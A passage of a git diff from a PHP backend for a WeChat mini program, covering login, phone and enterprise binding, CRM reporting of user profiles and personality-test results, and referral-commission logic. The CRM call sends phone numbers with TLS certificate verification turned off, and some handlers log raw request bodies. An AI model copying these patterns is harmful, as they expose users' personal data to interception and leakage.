error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expires_in' => config('jwt.expire') + ], '刷新成功'); + } + + /** + * 微信小程序登录:code 换 openid,查/建用户,返回 token 与用户信息 + * POST api/auth/wechat body: { "code": "xxx" } + * @return \think\response\Json + */ + public function wechatLogin() + { + $code = Request::param('code', ''); + if ($code === '') { + return error('缺少 code', 400); + } + + $session = WechatService::jscode2session($code); + if (isset($session['errcode']) && $session['errcode'] !== 0) { + return error($session['errmsg'] ?? '微信登录失败', 400); + } + + $openid = $session['openid']; + //$openid = 'oucCB15WDKCdwfNo-fpyS72iY5IQ'; + $sessionKey = $session['session_key'] ?? ''; + $unionid = $session['unionid'] ?? null; + + $wechatUser = Db::name('wechat_users')->where('openid', $openid)->find(); + $now = time(); + $ip = Request::ip(); + + if ($wechatUser) { + Db::name('wechat_users')->where('id', $wechatUser['id'])->update([ + 'sessionKey' => $sessionKey, + 'unionid' => $unionid, + 'lastLoginAt' => $now, + 'lastLoginIp' => $ip, + 'updatedAt' => $now, + ]); + $wechatUser = Db::name('wechat_users')->where('id', $wechatUser['id'])->find(); + } else { + $id = Db::name('wechat_users')->insertGetId([ + 'openid' => $openid, + 'unionid' => $unionid, + 'sessionKey' => $sessionKey, + 'nickname' => null, + 'avatar' => null, + 'phone' => null, + 'gender' => 0, + 'country' => null, + 'province' => null, + 'city' => null, + 'status' => 1, + 'lastLoginAt' => $now, + 'lastLoginIp' => $ip, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + $wechatUser = Db::name('wechat_users')->where('id', $id)->find(); + } + + if (($wechatUser['status'] ?? 1) != 1) { + return error('账号已被禁用', 403); + } + + $payload = [ + 'user_id' => (int) $wechatUser['id'], + 'source' => 'wechat', + ]; + $token = JwtService::generateToken($payload); + + $userId = (int) $wechatUser['id']; + // 企业绑定取自 wechat_users.enterpriseId(企业分享测试链接时更新,个人分享不更新) + $enterpriseId = isset($wechatUser['enterpriseId']) && $wechatUser['enterpriseId'] !== '' && $wechatUser['enterpriseId'] !== null + ? (int) $wechatUser['enterpriseId'] + : null; + $hasEnterprise = $enterpriseId > 0; + + $out = [ + 'id' => $userId, + 'openid' => $openid, + 'nickname' => $wechatUser['nickname'] ?? '', + 'avatar' => $wechatUser['avatar'] ?? '', + 'avatarUrl' => $wechatUser['avatar'] ?? '', + 'phone' => $wechatUser['phone'] ?? '', + 'gender' => (int) ($wechatUser['gender'] ?? 0), + 'country' => $wechatUser['country'] ?? '', + 'province' => $wechatUser['province'] ?? '', + 'city' => $wechatUser['city'] ?? '', + 'birthday' => $wechatUser['birthday'] ?? '', + 'hasEnterprise' => $hasEnterprise, + 'enterpriseId' => $enterpriseId, + ]; + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $out, + ], '登录成功'); + } + + /** + * 更新小程序用户资料(昵称、头像等),需要认证且为微信用户 + * PUT api/auth/wechat/profile body: { "nickname": "xxx", "avatar": "url", "gender", "country", "province", "city" } + * @return \think\response\Json + */ + public function updateWechatProfile() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (($user['source'] ?? '') !== 'wechat') { + return error('仅支持小程序用户更新资料', 403); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户不存在', 404); + } + + // PUT请求的数据在body中,Content-Type为application/json时需要特殊处理 + $contentType = Request::header('content-type', ''); + $input = []; + + if (stripos($contentType, 'application/json') !== false) { + // JSON格式的请求体,需要从原始内容中解析 + $rawContent = Request::getContent(); + if ($rawContent) { + $input = json_decode($rawContent, true) ?: []; + } + } else { + // 表单格式的请求体 + $input = Request::post() ?: Request::put() ?: []; + } + + // 如果还是空,尝试从param获取(兼容性处理) + if (empty($input)) { + $input = Request::param(); + } + + // 记录接收到的数据(调试用) + \think\facade\Log::info('更新用户资料请求', [ + 'userId' => $userId, + 'input' => $input, + 'method' => Request::method(), + 'contentType' => $contentType, + 'rawContent' => Request::getContent() + ]); + + $allow = ['nickname', 'avatar', 'gender', 'country', 'province', 'city', 'birthday']; + $data = []; + foreach ($allow as $k) { + if (isset($input[$k]) && $input[$k] !== null && $input[$k] !== '') { + $v = $input[$k]; + if ($k === 'avatar') { + $data['avatar'] = is_string($v) ? $v : ''; + } elseif ($k === 'nickname') { + $data['nickname'] = is_string($v) ? mb_substr(trim($v), 0, 100) : ''; + } elseif ($k === 'birthday') { + $data['birthday'] = is_string($v) ? preg_replace('/[^\d\-]/', '', trim($v)) : ''; + } elseif ($k === 'gender') { + $data['gender'] = (int) $v; + } else { + $data[$k] = is_string($v) ? trim($v) : ''; + } + } + } + + if (empty($data)) { + \think\facade\Log::warning('更新用户资料:没有可更新的字段', ['input' => $input]); + return error('没有可更新的字段', 400); + } + + $data['updatedAt'] = time(); + \think\facade\Log::info('更新用户资料SQL', ['userId' => $userId, 'data' => $data]); + + $result = Db::name('wechat_users')->where('id', $userId)->update($data); + + \think\facade\Log::info('更新用户资料结果', ['userId' => $userId, 'affectedRows' => $result]); + + $row = Db::name('wechat_users')->where('id', $userId)->find(); + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + + return success($row, '更新成功'); + } + + /** + * 小程序获取手机号:用 getPhoneNumber 返回的 code 换手机号并写入当前用户 + * POST api/auth/wechat/phone body: { "code": "xxx" } 需登录且为微信用户 + * @return \think\response\Json + */ + public function wechatPhone() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (($user['source'] ?? '') !== 'wechat') { + return error('仅支持小程序用户', 403); + } + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户不存在', 404); + } + $contentType = Request::header('content-type', ''); + $input = []; + if (stripos($contentType, 'application/json') !== false) { + $rawContent = Request::getContent(); + if ($rawContent) { + $input = json_decode($rawContent, true) ?: []; + } + } else { + $input = Request::post() ?: []; + } + if (empty($input)) { + $input = Request::param(); + } + $code = $input['code'] ?? ''; + if ($code === '') { + return error('缺少 code', 400); + } + + // 调试日志:记录收到的手机号 code(仅保留前几位防止泄露) + \think\facade\Log::info('WechatPhone 请求', [ + 'userId' => $userId, + 'codeHead' => substr($code, 0, 8) . '***', + ]); + + $phoneResult = WechatService::getPhoneNumber($code); + if (isset($phoneResult['errcode'])) { + \think\facade\Log::warning('WechatPhone 获取手机号失败', [ + 'userId' => $userId, + 'codeHead' => substr($code, 0, 8) . '***', + 'errcode' => $phoneResult['errcode'] ?? null, + 'errmsg' => $phoneResult['errmsg'] ?? null, + ]); + return error(($phoneResult['errmsg'] ?? '获取手机号失败') . ' (code inval)', 400); + } + $phone = $phoneResult['purePhoneNumber'] ?? $phoneResult['phoneNumber'] ?? ''; + if ($phone === '') { + return error('未获取到手机号', 400); + } + + Db::name('wechat_users')->where('id', $userId)->update([ + 'phone' => $phone, + 'updatedAt' => time(), + ]); + $row = Db::name('wechat_users')->where('id', $userId)->find(); + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + + return success([ + 'phone' => $phone, + 'user' => $row, + ], '获取成功'); + } + + /** + * 小程序扫码企业邀请后绑定企业:更新 wechat_users.enterpriseId + * POST api/auth/wechat/bind-enterprise body: { "enterpriseId": 123 } + */ + public function wechatBindEnterprise() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (($user['source'] ?? '') !== 'wechat') { + return error('仅支持小程序用户', 403); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户不存在', 404); + } + + $contentType = Request::header('content-type', ''); + $input = []; + if (stripos($contentType, 'application/json') !== false) { + $rawContent = Request::getContent(); + if ($rawContent) { + $input = json_decode($rawContent, true) ?: []; + } + } else { + $input = Request::post() ?: []; + } + if (empty($input)) { + $input = Request::param(); + } + + $enterpriseId = (int) ($input['enterpriseId'] ?? 0); + if ($enterpriseId <= 0) { + return error('缺少或非法的 enterpriseId', 400); + } + + $ent = Db::name('enterprises') + ->where('id', $enterpriseId) + ->where('status', '<>','disabled') + ->find(); + if (!$ent) { + return error('企业不存在或已禁用', 404); + } + + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => time(), + ]); + + $row = Db::name('wechat_users')->where('id', $userId)->find(); + if (!$row) { + return error('用户不存在', 404); + } + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + $eid = isset($row['enterpriseId']) && $row['enterpriseId'] !== '' && $row['enterpriseId'] !== null ? (int) $row['enterpriseId'] : null; + $row['hasEnterprise'] = $eid > 0; + $row['enterpriseId'] = $eid; + $row['enterpriseName'] = $ent['name'] ?? ''; + + return success($row, '绑定企业成功'); + } +} + diff --git a/api/app/controller/api/CrmReport.php b/api/app/controller/api/CrmReport.php index 94cc90c..cfeebb1 100644 --- a/api/app/controller/api/CrmReport.php +++ b/api/app/controller/api/CrmReport.php @@ -1,235 +1,235 @@ -request->user ?? null; - if (!$user) { - $token = JwtService::getTokenFromRequest($this->request); - if ($token) { - $payload = JwtService::verifyToken($token); - if ($payload) { - $user = [ - 'source' => $payload['source'] ?? '', - 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, - ]; - } - } - } - - $userId = (int) ($user['user_id'] ?? 0); - - // 接收参数 - $apiKey = trim((string) ($this->request->param('apiKey', '') ?? '')); - $source = trim((string) ($this->request->param('source', '') ?? '')); - $remark = trim((string) ($this->request->param('remark', '') ?? '')); - $tags = trim((string) ($this->request->param('tags', '') ?? '')); - $siteTags = trim((string) ($this->request->param('siteTags', '') ?? '')); - - // apiKey 为空则跳过,不影响主流程 - if (empty($apiKey)) { - return success(['reported' => false, 'reason' => 'no_api_key']); - } - - // 从数据库获取用户信息(手机号、openid、昵称) - $phone = ''; - $openid = ''; - $nickname = ''; - if ($userId > 0) { - $wechatUser = Db::name('wechat_users') - ->where('id', $userId) - ->field('phone, openid, nickname') - ->find(); - if ($wechatUser) { - $phone = (string) ($wechatUser['phone'] ?? ''); - $openid = (string) ($wechatUser['openid'] ?? ''); - $nickname = (string) ($wechatUser['nickname'] ?? ''); - } - } - - // 至少需要手机号或微信号,否则没有意义 - if (empty($phone) && empty($openid)) { - return success(['reported' => false, 'reason' => 'no_identifier']); - } - - // 读取接口地址(从 .env 的 API_URL) - $apiUrl = env('API_URL', 'https://ckbapi.quwanzhi.com/v1/api/scenarios'); - $timestamp = time(); - - // 构建请求参数(只加非空字段) - $params = ['apiKey' => $apiKey, 'timestamp' => $timestamp]; - if ($phone !== '') $params['phone'] = $phone; - if ($nickname !== '') $params['name'] = $nickname; - if ($source !== '') $params['source'] = $source; - if ($remark !== '') $params['remark'] = $remark; - if ($tags !== '') $params['tags'] = $tags; - if ($siteTags !== '') $params['siteTags'] = $siteTags; - - // 生成签名(portrait 不参与签名,需在签名后单独附加) - $params['sign'] = self::generateSign($params, $apiKey); - - // 附加用户画像(从最近测试结果构建,不参与签名) - $portrait = self::buildPortrait($userId); - if ($portrait !== null) { - $params['portrait'] = $portrait; - } - - // 发起请求 - $result = self::callApi($apiUrl, $params); - - if ($result['success']) { - return success(['reported' => true]); - } - - Log::warning('[CrmReport] 上报失败 userId=' . $userId . ' reason=' . json_encode($result, JSON_UNESCAPED_UNICODE)); - // 上报失败不影响主业务,始终返回成功 - return success(['reported' => false, 'reason' => $result['error'] ?? 'api_error']); - } - - /** - * 从数据库读取用户最近一次 MBTI / DISC / PDP 测试结果,构建 portrait 对象 - * portrait 整体不参与签名,直接附加到请求体中(见接口文档 §2.3) - */ - private static function buildPortrait(int $userId): ?array - { - if ($userId <= 0) { - return null; - } - - // 一次查出所有相关类型的最新记录(按时间倒序) - $rows = Db::name('test_results') - ->where('userId', $userId) - ->whereIn('testType', ['mbti', 'disc', 'pdp']) - ->field('testType, resultData, createdAt') - ->order('createdAt', 'desc') - ->select() - ->toArray(); - - $found = []; - foreach ($rows as $row) { - $type = $row['testType']; - if (isset($found[$type])) continue; // 只取每种类型的最新一条 - - $data = []; - if (!empty($row['resultData'])) { - $decoded = json_decode($row['resultData'], true); - $data = is_array($decoded) ? $decoded : []; - } - - switch ($type) { - case 'mbti': - $val = $data['mbtiType'] ?? $data['mbti'] ?? ''; - if ($val !== '') $found['mbti'] = (string) $val; - break; - case 'disc': - $val = $data['dominantType'] ?? $data['disc'] ?? ''; - if ($val !== '') $found['disc'] = $val . '型'; - break; - case 'pdp': - $val = $data['description']['type'] ?? $data['pdp'] ?? ''; - if ($val !== '') $found['pdp'] = (string) $val; - break; - } - } - - if (empty($found)) { - return null; - } - - return [ - 'type' => 4, // 互动(咨询/购买行为) - 'source' => 0, // 本站 - 'sourceData' => $found, - 'remark' => '性格测试画像', - 'uniqueId' => 'wxmp_' . $userId . '_' . date('YmdH'), // 同一小时内去重 - ]; - } - - /** - * 生成存客宝签名 - * 规则(来自接口文档 §2.3): - * 1. 移除 sign / apiKey / portrait - * 2. 移除值为 null 或空字符串的字段 - * 3. 按参数名 ASCII 升序排序 - * 4. 只取"值"按顺序拼接 - * 5. 第一次 MD5 - * 6. 拼接 apiKey 后第二次 MD5,得到最终签名 - */ - private static function generateSign(array $params, string $apiKey): string - { - unset($params['sign'], $params['apiKey'], $params['portrait']); - - $params = array_filter($params, static function ($value) { - return !is_null($value) && $value !== ''; - }); - - ksort($params); - - $stringToSign = implode('', array_values($params)); - $firstMd5 = md5($stringToSign); - - return md5($firstMd5 . $apiKey); - } - - /** - * 通过 cURL 调用存客宝接口 - */ - private static function callApi(string $url, array $params): array - { - $payload = json_encode($params, JSON_UNESCAPED_UNICODE); - - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, $url); - curl_setopt($ch, CURLOPT_POST, true); - curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); - curl_setopt($ch, CURLOPT_HTTPHEADER, [ - 'Content-Type: application/json', - 'Accept: application/json', - 'Content-Length: ' . strlen($payload), - ]); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - curl_setopt($ch, CURLOPT_TIMEOUT, 10); - curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); - - $response = curl_exec($ch); - $curlError = curl_error($ch); - curl_close($ch); - - if ($curlError) { - return ['success' => false, 'error' => 'curl:' . $curlError]; - } - - $data = json_decode($response, true); - if (is_array($data) && isset($data['code']) && (int) $data['code'] === 200) { - return ['success' => true, 'data' => $data]; - } - - return [ - 'success' => false, - 'error' => $data['message'] ?? 'unknown', - 'response' => $response, - ]; - } -} +request->user ?? null; + if (!$user) { + $token = JwtService::getTokenFromRequest($this->request); + if ($token) { + $payload = JwtService::verifyToken($token); + if ($payload) { + $user = [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + } + } + + $userId = (int) ($user['user_id'] ?? 0); + + // 接收参数 + $apiKey = trim((string) ($this->request->param('apiKey', '') ?? '')); + $source = trim((string) ($this->request->param('source', '') ?? '')); + $remark = trim((string) ($this->request->param('remark', '') ?? '')); + $tags = trim((string) ($this->request->param('tags', '') ?? '')); + $siteTags = trim((string) ($this->request->param('siteTags', '') ?? '')); + + // apiKey 为空则跳过,不影响主流程 + if (empty($apiKey)) { + return success(['reported' => false, 'reason' => 'no_api_key']); + } + + // 从数据库获取用户信息(手机号、openid、昵称) + $phone = ''; + $openid = ''; + $nickname = ''; + if ($userId > 0) { + $wechatUser = Db::name('wechat_users') + ->where('id', $userId) + ->field('phone, openid, nickname') + ->find(); + if ($wechatUser) { + $phone = (string) ($wechatUser['phone'] ?? ''); + $openid = (string) ($wechatUser['openid'] ?? ''); + $nickname = (string) ($wechatUser['nickname'] ?? ''); + } + } + + // 至少需要手机号或微信号,否则没有意义 + if (empty($phone) && empty($openid)) { + return success(['reported' => false, 'reason' => 'no_identifier']); + } + + // 读取接口地址(从 .env 的 API_URL) + $apiUrl = env('API_URL', 'https://ckbapi.quwanzhi.com/v1/api/scenarios'); + $timestamp = time(); + + // 构建请求参数(只加非空字段) + $params = ['apiKey' => $apiKey, 'timestamp' => $timestamp]; + if ($phone !== '') $params['phone'] = $phone; + if ($nickname !== '') $params['name'] = $nickname; + if ($source !== '') $params['source'] = $source; + if ($remark !== '') $params['remark'] = $remark; + if ($tags !== '') $params['tags'] = $tags; + if ($siteTags !== '') $params['siteTags'] = $siteTags; + + // 生成签名(portrait 不参与签名,需在签名后单独附加) + $params['sign'] = self::generateSign($params, $apiKey); + + // 附加用户画像(从最近测试结果构建,不参与签名) + $portrait = self::buildPortrait($userId); + if ($portrait !== null) { + $params['portrait'] = $portrait; + } + + // 发起请求 + $result = self::callApi($apiUrl, $params); + + if ($result['success']) { + return success(['reported' => true]); + } + + Log::warning('[CrmReport] 上报失败 userId=' . $userId . ' reason=' . json_encode($result, JSON_UNESCAPED_UNICODE)); + // 上报失败不影响主业务,始终返回成功 + return success(['reported' => false, 'reason' => $result['error'] ?? 'api_error']); + } + + /** + * 从数据库读取用户最近一次 MBTI / DISC / PDP 测试结果,构建 portrait 对象 + * portrait 整体不参与签名,直接附加到请求体中(见接口文档 §2.3) + */ + private static function buildPortrait(int $userId): ?array + { + if ($userId <= 0) { + return null; + } + + // 一次查出所有相关类型的最新记录(按时间倒序) + $rows = Db::name('test_results') + ->where('userId', $userId) + ->whereIn('testType', ['mbti', 'disc', 'pdp']) + ->field('testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + + $found = []; + foreach ($rows as $row) { + $type = $row['testType']; + if (isset($found[$type])) continue; // 只取每种类型的最新一条 + + $data = []; + if (!empty($row['resultData'])) { + $decoded = json_decode($row['resultData'], true); + $data = is_array($decoded) ? $decoded : []; + } + + switch ($type) { + case 'mbti': + $val = $data['mbtiType'] ?? $data['mbti'] ?? ''; + if ($val !== '') $found['mbti'] = (string) $val; + break; + case 'disc': + $val = $data['dominantType'] ?? $data['disc'] ?? ''; + if ($val !== '') $found['disc'] = $val . '型'; + break; + case 'pdp': + $val = $data['description']['type'] ?? $data['pdp'] ?? ''; + if ($val !== '') $found['pdp'] = (string) $val; + break; + } + } + + if (empty($found)) { + return null; + } + + return [ + 'type' => 4, // 互动(咨询/购买行为) + 'source' => 0, // 本站 + 'sourceData' => $found, + 'remark' => '性格测试画像', + 'uniqueId' => 'wxmp_' . $userId . '_' . date('YmdH'), // 同一小时内去重 + ]; + } + + /** + * 生成存客宝签名 + * 规则(来自接口文档 §2.3): + * 1. 移除 sign / apiKey / portrait + * 2. 移除值为 null 或空字符串的字段 + * 3. 按参数名 ASCII 升序排序 + * 4. 只取"值"按顺序拼接 + * 5. 第一次 MD5 + * 6. 拼接 apiKey 后第二次 MD5,得到最终签名 + */ + private static function generateSign(array $params, string $apiKey): string + { + unset($params['sign'], $params['apiKey'], $params['portrait']); + + $params = array_filter($params, static function ($value) { + return !is_null($value) && $value !== ''; + }); + + ksort($params); + + $stringToSign = implode('', array_values($params)); + $firstMd5 = md5($stringToSign); + + return md5($firstMd5 . $apiKey); + } + + /** + * 通过 cURL 调用存客宝接口 + */ + private static function callApi(string $url, array $params): array + { + $payload = json_encode($params, JSON_UNESCAPED_UNICODE); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); + curl_setopt($ch, CURLOPT_HTTPHEADER, [ + 'Content-Type: application/json', + 'Accept: application/json', + 'Content-Length: ' . strlen($payload), + ]); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + + $response = curl_exec($ch); + $curlError = curl_error($ch); + curl_close($ch); + + if ($curlError) { + return ['success' => false, 'error' => 'curl:' . $curlError]; + } + + $data = json_decode($response, true); + if (is_array($data) && isset($data['code']) && (int) $data['code'] === 200) { + return ['success' => true, 'data' => $data]; + } + + return [ + 'success' => false, + 'error' => $data['message'] ?? 'unknown', + 'response' => $response, + ]; + } +} diff --git a/api/app/controller/api/Distribution.php b/api/app/controller/api/Distribution.php index 1958f8a..ed5bb6d 100644 --- a/api/app/controller/api/Distribution.php +++ b/api/app/controller/api/Distribution.php @@ -1,1466 +1,1466 @@ -resolveUser(); - if (!$user) { - return error('未登录', 401); - } - - $inviteeId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $inviterId = (int) Request::param('inviterId', 0); - $enterpriseId = Request::param('eid', null); - $enterpriseId = $enterpriseId !== null ? (int) $enterpriseId : null; - $scope = $enterpriseId ? 'enterprise' : 'personal'; - - // 自绑校验 - if ($inviterId <= 0 || $inviterId === $inviteeId) { - return success(null, '无需绑定'); - } - - // 企业版:推荐人必须是该企业成员 - if ($scope === 'enterprise') { - $inviter = Db::name('wechat_users') - ->where('id', $inviterId) - ->field('id, enterpriseId') - ->find(); - if (!$inviter || (int) $inviter['enterpriseId'] !== $enterpriseId) { - return success(null, '无需绑定'); - } - } - - $now = time(); - - // 禁止互相绑定(仅有效期内):A 曾邀请过 B 且 A→B 未过期时,B 不能再成为 A 的推荐人;若 A→B 已过期则允许 A 绑定 B - $reverseExists = Db::name('distribution_bindings') - ->where('inviterId', $inviteeId) - ->where('inviteeId', $inviterId) - ->where('scope', $scope) - ->where('status', 'active') - ->where('expireAt', '>', $now) - ->where(function ($query) use ($enterpriseId) { - if ($enterpriseId) { - $query->where('enterpriseId', $enterpriseId); - } else { - $query->whereNull('enterpriseId'); - } - }) - ->find(); - if ($reverseExists) { - return success(null, '无需绑定'); - } - $expireAt = $now + self::BINDING_TTL; - - // 查询当前是否存在有效绑定(包含已过期,因为唯一索引覆盖所有状态) - $existing = Db::name('distribution_bindings') - ->where('inviteeId', $inviteeId) - ->where('scope', $scope) - ->where(function ($query) use ($enterpriseId) { - if ($enterpriseId) { - $query->where('enterpriseId', $enterpriseId); - } else { - $query->whereNull('enterpriseId'); - } - }) - ->find(); - - if (!$existing) { - // ── 首次绑定 - Db::name('distribution_bindings')->insert([ - 'inviterId' => $inviterId, - 'inviteeId' => $inviteeId, - 'scope' => $scope, - 'enterpriseId' => $enterpriseId, - 'expireAt' => $expireAt, - 'status' => 'active', - 'prevInviterId'=> null, - 'overriddenAt' => null, - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - } elseif ((int) $existing['inviterId'] === $inviterId) { - // ── 同一推荐人再次点击 → 续期 - Db::name('distribution_bindings') - ->where('id', $existing['id']) - ->update([ - 'expireAt' => $expireAt, - 'status' => 'active', - 'updatedAt' => $now, - ]); - } else { - // ── 不同推荐人 → 抢绑(覆盖,记录旧推荐人) - Db::name('distribution_bindings') - ->where('id', $existing['id']) - ->update([ - 'prevInviterId' => (int) $existing['inviterId'], - 'inviterId' => $inviterId, - 'expireAt' => $expireAt, - 'status' => 'active', - 'overriddenAt' => $now, - 'updatedAt' => $now, - ]); - } - - return success(['expireAt' => $expireAt], '绑定成功'); - } - - /** - * 过期待收款提现:status=2 超过24小时未确认收款的,自动退回余额并标记为已过期 - */ - private function expirePendingWithdrawals() - { - $now = time(); - $limit = $now - self::WITHDRAW_WAIT_EXPIRE_SEC; - $list = Db::name('distribution_withdrawals') - ->where('status', 2) - ->select() - ->toArray(); - foreach ($list as $row) { - $ts = (int) ($row['auditAt'] ?? $row['updatedAt'] ?? $row['createdAt'] ?? 0); - if ($ts <= 0 || $ts >= $limit) { - continue; - } - $id = (int) $row['id']; - $userId = (int) $row['userId']; - $amountFen = (int) $row['amountFen']; - if ($amountFen <= 0) { - continue; - } - Db::startTrans(); - try { - Db::name('wechat_users') - ->where('id', $userId) - ->inc('walletBalance', $amountFen) - ->update(['updatedAt' => $now]); - Db::name('distribution_withdrawals')->where('id', $id)->update([ - 'status' => 4, - 'auditNote' => '超时未确认收款,已自动退回余额', - 'auditAt' => $now, - 'updatedAt' => $now, - ]); - Db::commit(); - Log::info('提现过期自动退回', ['id' => $id, 'userId' => $userId, 'amountFen' => $amountFen]); - } catch (\Throwable $e) { - Db::rollback(); - Log::error('expirePendingWithdrawals error: ' . $e->getMessage()); - } - } - } - - // ───────────────────────────────────────────────────────────── - // GET /api/distribution/stats - // 推广中心统计数据(余额、总收益、待入账、绑定数、付款数) - // ───────────────────────────────────────────────────────────── - public function stats() - { - $user = $this->resolveUser(); - if (!$user) { - return error('未登录', 401); - } - - $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $now = time(); - - $this->expirePendingWithdrawals(); - - // 直接读取 wechat_users 中的钱包字段(持久化数据) - $walletBalanceFen = 0; - $totalEarnedFen = 0; - $pendingFen = 0; - try { - $walletRow = Db::name('wechat_users') - ->where('id', $inviterId) - ->field('walletBalance, walletTotalEarned, walletPending') - ->find(); - if ($walletRow) { - $walletBalanceFen = (int) ($walletRow['walletBalance'] ?? 0); - $totalEarnedFen = (int) ($walletRow['walletTotalEarned'] ?? 0); - $pendingFen = (int) ($walletRow['walletPending'] ?? 0); - } - } catch (\Exception $e) { - // 表结构异常时静默降级为 0 - } - - // 绑定中人数(active 且未过期) - $bindingCount = 0; - try { - $bindingCount = Db::name('distribution_bindings') - ->where('inviterId', $inviterId) - ->where('status', 'active') - ->where('expireAt', '>', $now) - ->count(); - } catch (\Exception $e) {} - - // 已付款人数 - $paidCount = 0; - try { - $paidCount = Db::name('commission_records') - ->where('inviterId', $inviterId) - ->whereIn('status', ['paid', 'frozen']) - ->distinct(true) - ->count('inviteeId'); - } catch (\Exception $e) {} - - // 即将到期(7天内过期) - $expiringCount = 0; - try { - $expiringCount = Db::name('distribution_bindings') - ->where('inviterId', $inviterId) - ->where('status', 'active') - ->where('expireAt', '>', $now) - ->where('expireAt', '<=', $now + 7 * 86400) - ->count(); - } catch (\Exception $e) {} - - // 总邀请人数(历史所有绑定过的唯一用户数) - $totalInvite = 0; - try { - $totalInvite = Db::name('distribution_bindings') - ->where('inviterId', $inviterId) - ->distinct(true) - ->count('inviteeId'); - } catch (\Exception $e) {} - - // 根据用户所属企业读取分销配置(显示开关 + 推广中心标题) - $enterpriseId = 0; - try { - $wu = Db::name('wechat_users')->where('id', $inviterId)->field('enterpriseId')->find(); - $enterpriseId = $wu && isset($wu['enterpriseId']) ? (int) $wu['enterpriseId'] : 0; - } catch (\Exception $e) {} - $distConfig = null; - try { - $distRow = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', $enterpriseId) - ->find(); - if (!$distRow && $enterpriseId > 0) { - $distRow = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', 0) - ->find(); - } - if ($distRow && $distRow['value']) { - $distConfig = is_string($distRow['value']) ? json_decode($distRow['value'], true) : $distRow['value']; - } - } catch (\Exception $e) {} - $distributionEnabled = ($distConfig['enabled'] ?? true); - $promoCenterTitle = trim((string)($distConfig['promoCenterTitle'] ?? '推广中心')) ?: '推广中心'; - $commissionRate = (int)($distConfig['commissionRate'] ?? 90); - $bindingDays = (int)($distConfig['bindingDays'] ?? 30); - - // 提现规则仅超管可配置,只读 enterprise_id=0 的全局配置 - $globalDistConfig = null; - try { - $globalRow = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', 0) - ->find(); - if ($globalRow && $globalRow['value']) { - $globalDistConfig = is_string($globalRow['value']) ? json_decode($globalRow['value'], true) : $globalRow['value']; - } - } catch (\Exception $e) {} - $cfg = is_array($globalDistConfig) ? $globalDistConfig : []; - $minWithdrawFen = (int)($cfg['minWithdrawFen'] ?? 100); - $maxWithdrawFen = (int)($cfg['maxWithdrawFen'] ?? 0); - $withdrawFee = (float)($cfg['withdrawFee'] ?? 0); - $requireAudit = (isset($cfg['requireAudit']) ? $cfg['requireAudit'] : true) !== false; - $withdrawMinYuan = number_format($minWithdrawFen / 100, 2, '.', ''); - $withdrawMaxYuan = $maxWithdrawFen > 0 ? number_format($maxWithdrawFen / 100, 2, '.', '') : null; - $withdrawFeePct = round($withdrawFee, 1); - - // 读取「人脸分析」测试佣金配置,用于前端展示规则说明 - $faceSetting = null; - try { - $faceSetting = self::resolveTestSetting('face', $enterpriseId > 0 ? $enterpriseId : null); - } catch (\Throwable $e) { - $faceSetting = null; - } - $faceType = $faceSetting['commissionType'] ?? null; - $faceRate = isset($faceSetting['commissionRate']) ? (int)$faceSetting['commissionRate'] : null; - $faceAmountFen = isset($faceSetting['commissionAmountFen']) ? (int)$faceSetting['commissionAmountFen'] : null; - $faceAmountYuan = $faceAmountFen !== null ? number_format($faceAmountFen / 100, 2, '.', '') : null; - $faceNoPayment = !empty($faceSetting['noPayment']); - - return success([ - 'walletBalance' => number_format($walletBalanceFen / 100, 2, '.', ''), - 'totalEarned' => number_format($totalEarnedFen / 100, 2, '.', ''), - 'pendingAmount' => number_format($pendingFen / 100, 2, '.', ''), - 'bindingCount' => $bindingCount, - 'paidCount' => $paidCount, - 'expiringCount' => $expiringCount, - 'totalInvite' => $totalInvite, - 'distributionEnabled' => $distributionEnabled, - 'promoCenterTitle' => $promoCenterTitle, - 'commissionRate' => $commissionRate, - 'bindingDays' => $bindingDays, - 'testCommissionType' => $faceType, - 'testCommissionRate' => $faceRate, - 'testCommissionAmount'=> $faceAmountYuan, - 'testNoPayment' => $faceNoPayment, - 'withdrawMinYuan' => $withdrawMinYuan, - 'withdrawMaxYuan' => $withdrawMaxYuan, - 'withdrawFeePct' => $withdrawFeePct, - 'requireWithdrawAudit'=> $requireAudit, - ]); - } - - // ───────────────────────────────────────────────────────────── - // GET /api/distribution/bindings - // 我邀请的用户列表(分页,tab: 0=绑定中 1=已付款 2=已过期) - // ───────────────────────────────────────────────────────────── - public function bindings() - { - $user = $this->resolveUser(); - 